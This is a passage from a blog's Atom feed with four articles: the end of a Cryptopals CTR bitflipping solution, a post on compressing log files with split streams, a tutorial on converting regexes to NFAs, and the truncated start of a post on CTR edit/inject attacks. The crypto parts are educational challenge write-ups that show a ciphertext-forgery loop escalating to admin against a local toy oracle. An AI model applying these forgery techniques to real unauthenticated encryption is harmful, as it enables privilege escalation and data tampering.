&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;cpatched&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cpatched&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cpatched&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Priv escalated! Patch at &lt;/span&gt;&lt;span class="si"&gt;%i&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Priv&lt;/span&gt; &lt;span class="n"&gt;escalated&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;Patch&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Broken! &lt;a href="https://cryptopals.com/sets/4/challenges/26"&gt;CTR bitflipping&lt;/a&gt; challenge unlock!&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/08/22/CTR-Bitfliping.html" rel="alternate" type="text/html" title="CTR Bitflipping"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="CTR" label="CTR"/>
    <category term="counter" label="counter"/>
    <category term="forgery" label="forgery"/>
    <published>2019-08-22T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/08/04/Better-Compression-Log-Files-PoC.html</id>
    <title>Better Compression of Log Files (PoC)</title>
    <updated>2019-08-04T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The logs present several patterns that are repeated again and again; LZMA takes advantage of that and reaches very high compress ratios.&lt;/p&gt;
&lt;p&gt;Doing a quick test, LZMA at the 6 level of compression, compressed a 2.5 GB log into 147 MB very tight binary blog. A ratio of 94.069%, not bad!&lt;/p&gt;
&lt;p&gt;But could we get better results? &lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;Consider the following log:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2019-07-23T07:18:23.034218+00:00 host evaluator: info No evaluator for 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.041248+00:00 host evaluator: info Submitted: 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.041453+00:00 host evaluator: info Acknowledged: 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.042580+00:00 host storage: info Processing 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.119849+00:00 host exporter: info Sending message
2019-07-23T07:18:23.120344+00:00 host storage: info Finished processing 4b7c9f29-f945-3641-e737-39c180263f85 (0.07786840550879322s)
2019-07-23T07:18:23.132928+00:00 host exporter: error lib: Could not create socket: Too many open files
2019-07-23T07:18:23.133107+00:00 host exporter: error Exception caught: Errno::EMFILE:Too many open files - getaddrinfo
2019-07-23T07:18:23.133280+00:00 host exporter: error exporter.rb:110:in `connect&amp;#39;
2019-07-23T07:18:23.133427+00:00 host exporter: error exporter.rb:110:in `initialize_socket&amp;#39;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The date times have a &lt;em&gt;lot&lt;/em&gt; of redundancy that a standard compressor may not compress.&lt;/p&gt;
&lt;p&gt;The substring &lt;code&gt;2019-07-23T07:18:23&lt;/code&gt; (date and time) is repeated several times and can be compressed but the &lt;em&gt;microseconds&lt;/em&gt; part isn’t.&lt;/p&gt;
&lt;p&gt;So here is my plan: - split the log file in two streams: date times on the one hand and texts on the other - &lt;em&gt;delta encode&lt;/em&gt; the date times - compress separately both streams using LZMA&lt;/p&gt;
&lt;p&gt;The proof of concept is in &lt;a href="https://github.com/eldipa/zlog"&gt;zlog repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The results? The new ratio is 96.715%, the new compressed file is 44.615% smaller than the former &lt;em&gt;straight&lt;/em&gt; LZMA compressed file.&lt;/p&gt;
&lt;div class="table-wrapper"&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr class="header"&gt;
&lt;th style="text-align: center;"&gt;Compression&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Size (bytes)&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Compression Ratio&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;None&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2586369892&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="even"&gt;
&lt;td style="text-align: center;"&gt;LZMA&lt;/td&gt;
&lt;td style="text-align: center;"&gt;153390408&lt;/td&gt;
&lt;td style="text-align: center;"&gt;94.069%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="odd"&gt;
&lt;td style="text-align: center;"&gt;&lt;em&gt;Split&lt;/em&gt; LZMA&lt;/td&gt;
&lt;td style="text-align: center;"&gt;60047300 + 24907828&lt;/td&gt;
&lt;td style="text-align: center;"&gt;96.715%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h3 id="open-questions"&gt;Open questions&lt;/h3&gt;
&lt;p&gt;The compressed date times represent the 41.480% of the total. The current implementation encodes the deltas in 8 bytes and compresses the stream using LZMA that may not be the best tool for this.&lt;/p&gt;
&lt;p&gt;8 bytes perhaps is too much: if there is a log line each hour we can represent the delta in microseconds using only 32 bits.&lt;/p&gt;
&lt;p&gt;We could also pack them instead of compress them using &lt;a href="https://github.com/lemire/FrameOfReference"&gt;frames of reference&lt;/a&gt;. With a little of extra code, this would open the opportunity to do searches by time without decompressing the whole thing.&lt;/p&gt;
&lt;p&gt;LZMA and others are very good compressing repeated substrings that are &lt;em&gt;closer&lt;/em&gt; each other.&lt;/p&gt;
&lt;p&gt;This is perfect of strings that represent ids in the logs that appear in consecutive lines like &lt;code&gt;4b7c9f29-f945-3641-e737-39c180263f85&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;But what about substrings that are repeated everywhere in a &lt;em&gt;time independent&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;Think in &lt;code&gt;host evaluator: info No evaluator for&lt;/code&gt;. It is very likely to be repeated several times but if its &lt;em&gt;frequency&lt;/em&gt; is too low, several &lt;em&gt;other&lt;/em&gt; lines could appear between one repetition and the other that may confuse and reduce the performance of the compressor.&lt;/p&gt;
&lt;p&gt;Clustering the lines should bring them closer but if the operation is not invertible without meta data (like the &lt;a href="https://en.wikipedia.org/wiki/Burrows%E2%80%93Wheeler_transform"&gt;Burrows-Wheeler transform&lt;/a&gt;) it may not be worthy.&lt;/p&gt;
&lt;p&gt;Also, a clustering will go against of the natural clustering of the &lt;em&gt;time dependent&lt;/em&gt; strings. Not good.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/08/04/Better-Compression-Log-Files-PoC.html" rel="alternate" type="text/html" title="Better Compression of Log Files (PoC)"/>
    <category term="scripting" label="scripting"/>
    <category term="string compression" label="string compression"/>
    <published>2019-08-04T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/07/25/From-Regex-to-Nondeterministic-Finite-Automata.html</id>
    <title>From a Regex to a Nondeterministic Finite Automata</title>
    <updated>2019-07-25T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Before building complex state machine we need to learn the basics blocks.&lt;/p&gt;
&lt;p&gt;When the solution to a problem can be seen as set of states with transitions from ones to others, modeling them as a nondeterministic finite automatas makes clear how the solution works and allows to spot deficiencies.&lt;/p&gt;
&lt;p&gt;A regular expression is an example of this. As an introductory step let’s review how to turn a regex into a NFA.&lt;/p&gt;
&lt;p&gt;Take at look of the &lt;a href="https://github.com/eldipa/nfa"&gt;source code in Github&lt;/a&gt;. &lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="from-a-regular-expression-to-a-nfa"&gt;From a regular expression to a NFA&lt;/h2&gt;
&lt;p&gt;Before getting deep in this, let’s define a very simple problem: we want to validate if a particular string follows or not a given structure.&lt;/p&gt;
&lt;p&gt;Let’s assume that this structure can be writing using a &lt;em&gt;regular language&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;regular expresion&lt;/em&gt; or &lt;em&gt;regex&lt;/em&gt; is a handy way to write this in a concise way. Keep in mind that most of the regex engines are more powerful than a NFA so not all the features that such engines provide can be translated to a NFA.&lt;/p&gt;
&lt;p&gt;But a NFA is powerful enough to solve a lot of problems so it worth it.&lt;/p&gt;
&lt;h2 id="labeled-transitions"&gt;Labeled transitions&lt;/h2&gt;
&lt;p&gt;First, we say that the NFA can &lt;em&gt;move&lt;/em&gt; from one state to another if there is a &lt;em&gt;transition&lt;/em&gt; between the states and it is labeled with the same &lt;em&gt;character&lt;/em&gt; that was read.&lt;/p&gt;
&lt;p&gt;We represent this with a simple arrow connecting the two states labeled with the particular character.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/label.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A NFA allows the use of &lt;em&gt;epsilon&lt;/em&gt; transitions or \(\epsilon\)-transitions for short.&lt;/p&gt;
&lt;p&gt;A NFA moves from one state to another through a \(\epsilon\)-transition &lt;em&gt;without&lt;/em&gt; reading any character: it represents the empty string match.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
We are going to drop the label in some cases for clarity in the following diagrams.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/epsilon.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="optional-match"&gt;Optional match&lt;/h2&gt;
&lt;p&gt;We this two simple definitions we can build an &lt;em&gt;optional match&lt;/em&gt; represented in regex syntax as &lt;code&gt;a?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/optional.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The optional part can be as complex as we want like another NFA, no necessary must be a simple &lt;em&gt;literal&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
We represent any arbitrary complex construction as state machine (\(sm_1\)) defined elsewhere. We plug it using \(\epsilon\)-transitions and we make it &lt;em&gt;optional&lt;/em&gt; using a third \(\epsilon\)-transition to &lt;em&gt;bypass&lt;/em&gt; \(sm_1\).
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/sm_optional.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="concatenation-and-repetition-of-nfas"&gt;Concatenation and repetition of NFAs&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3JlZ2V4L2NvbmNhdC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PkNvbmNhdGVuYXRpb24gb2YgdHdvIHN0YXRlIG1hY2hpbmVzIGBzbV8xYHsubWF0aGpheH0gYW5kCmBzbV8yYHsubWF0aGpheH0gKGBgYWJgYCBpbiByZWdleCBzeW50YXgpLm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3JlZ2V4L2NvbmNhdC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PkNvbmNhdGVuYXRpb24gb2YgdHdvIHN0YXRlIG1hY2hpbmVzIGBzbV8xYHsubWF0aGpheH0gYW5kCmBzbV8yYHsubWF0aGpheH0gKGBgYWJgYCBpbiByZWdleCBzeW50YXgpLm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/concat.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Concatenation of two state machines \(sm_1\) and \(sm_2\) (&lt;code&gt;ab&lt;/code&gt; in regex syntax).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Two or more NFAs can be concatenated to match a &lt;em&gt;sequence&lt;/em&gt; of submatches being linked one to the other using \(\epsilon\)-transitions.&lt;/p&gt;
&lt;p&gt;In regex notation this corresponds to &lt;code&gt;ab&lt;/code&gt; (&lt;code&gt;a&lt;/code&gt; followed by &lt;code&gt;b&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoaXMKaXMgbWFkZSBvYnZpb3VzIGluIHRoZSBkaWFncmFtczoKYHNtXzFgey5tYXRoamF4fSBjYW5ub3QgbGluayB0byBpdHNlbGYuClVuZGVyd29vZCB3ZSB3aWxsIGhhdmUgdGhyZWUgYHNtXzFgey5tYXRoamF4fSBpZGVudGljYWwgb2JqZWN0cy4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMKaXMgbWFkZSBvYnZpb3VzIGluIHRoZSBkaWFncmFtczoKYHNtXzFgey5tYXRoamF4fSBjYW5ub3QgbGluayB0byBpdHNlbGYuClVuZGVyd29vZCB3ZSB3aWxsIGhhdmUgdGhyZWUgYHNtXzFgey5tYXRoamF4fSBpZGVudGljYWwgb2JqZWN0cy4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This is made obvious in the diagrams: \(sm_1\) cannot link to itself. Underwood we will have three \(sm_1\) identical objects.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;As a extension, a NFA can be &lt;em&gt;link to a clone of itself&lt;/em&gt; to match a sequence of &lt;em&gt;repeated&lt;/em&gt; submatches. In regex syntax, &lt;code&gt;a{n}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3JlZ2V4L3JlcGVhdGVkLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+UmVwZXRpdGlvbiBvZiBgc21fMWB7Lm1hdGhqYXh9IHRocmVlIHRpbWVzICAoYGBhezN9YGAgaW4gcmVnZXggc3ludGF4KS5tYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3JlZ2V4L3JlcGVhdGVkLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+UmVwZXRpdGlvbiBvZiBgc21fMWB7Lm1hdGhqYXh9IHRocmVlIHRpbWVzICAoYGBhezN9YGAgaW4gcmVnZXggc3ludGF4KS5tYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/repeated.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Repetition of \(sm_1\) three times (&lt;code&gt;a{3}&lt;/code&gt; in regex syntax).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We say that the link is to a clone because technically a link to itself would end up in an &lt;em&gt;unbounded&lt;/em&gt; loop and what we want instead is a &lt;em&gt;sequence&lt;/em&gt; of a &lt;em&gt;fixed size&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;When the NFA links to itself, the loop matches an &lt;em&gt;unbounded&lt;/em&gt; repetition, a &lt;em&gt;zero or more&lt;/em&gt; or &lt;em&gt;klee&lt;/em&gt; construction, the famous &lt;code&gt;a*&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;em&gt;Klee&lt;/em&gt; construction of \(sm_1\) that accepts zero or more items. Notice the difference between this (link to itself) and the fixed repetition above (link to a clone).
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/klee.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The repetition can have different finite lower and higher bounds to form a &lt;em&gt;range&lt;/em&gt; with a minimum and a maximum of repetitions &lt;code&gt;a{,2}&lt;/code&gt; &lt;code&gt;a{2,4}&lt;/code&gt; or with the higher limit unbounded &lt;code&gt;a{2,}&lt;/code&gt; &lt;code&gt;a+&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Repeated at least 2 times, up to 4 times: is the combination of a fixed &lt;code&gt;a{2}&lt;/code&gt; followed by an &lt;em&gt;up to&lt;/em&gt; &lt;code&gt;a{,2}&lt;/code&gt;.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/range.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="union"&gt;Union&lt;/h2&gt;
&lt;p&gt;Finally, the &lt;code&gt;a|b&lt;/code&gt; regex. As you may guessed, we stick two or more state machines using \(\epsilon\)-transitions.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Disjunction/union of two state machines \(sm_1\) and \(sm_2\).
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/regex/union.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="further-readings"&gt;Further readings&lt;/h2&gt;
&lt;p&gt;Aho, Lam, Sethi and Ullman. &lt;em&gt;Compilers: Principles, Techniques, &amp;amp; Tools&lt;/em&gt;, Second edition, Chapter 3.&lt;/p&gt;
&lt;p&gt;You can find a NFA implementation in Python &lt;a href="https://github.com/eldipa/nfa"&gt;here in Github&lt;/a&gt;.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/07/25/From-Regex-to-Nondeterministic-Finite-Automata.html" rel="alternate" type="text/html" title="From a Regex to a Nondeterministic Finite Automata"/>
    <category term="regex" label="regex"/>
    <category term="automata" label="automata"/>
    <category term="state machine" label="state machine"/>
    <category term="NFA" label="NFA"/>
    <category term="string" label="string"/>
    <published>2019-07-25T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/05/08/CTR-Edit-Inject-Plaintext-Attacks.html</id>
    <title>CTR Edit/Inject Plaintext Attacks</title>
    <updated>2019-05-08T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A CTR-mode cipher turns a block cipher into a stream cipher.&lt;/p&gt;
&lt;p&gt;With this, a ciphertext can be edited &lt;em&gt;in place&lt;/em&gt; generating enough of the key stream, decrypting and re-encrypting the edited portion.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;One can replace part of the plaintext, extend it or even reduce it.&lt;/p&gt;
&lt;p&gt;But this beautiful property of a CTR mode (and any other stream cipher) is actually a booby-trap.&lt;/p&gt;
&lt;!--more--&gt;
&lt;!--
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./posts/matasano/assets")
&gt;&gt;&gt; from challenge import generate_config, enc_ctr, dec_ctr # byexample: +timeout=10

&gt;&gt;&gt; seed = 20190508
&gt;&gt;&gt; secret_cfg = generate_config(random_state=seed)
--&gt;
&lt;p&gt;Imagine the following function:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_ptext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_ptext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# dummy plaintext to &amp;quot;encrypt&amp;quot; and obtain the secret stream&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# we make it large enough to cover the new_ptext size at the given&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# offset&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;dummy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# partial encrypting stream&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;enc_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dummy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# keep only the bytes needed to decrypt and re-encrypt at the&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# offset&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# override the specific part&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# here the advantage of CTR: we don&amp;#39;t need to decrypt everything&lt;/span&gt;
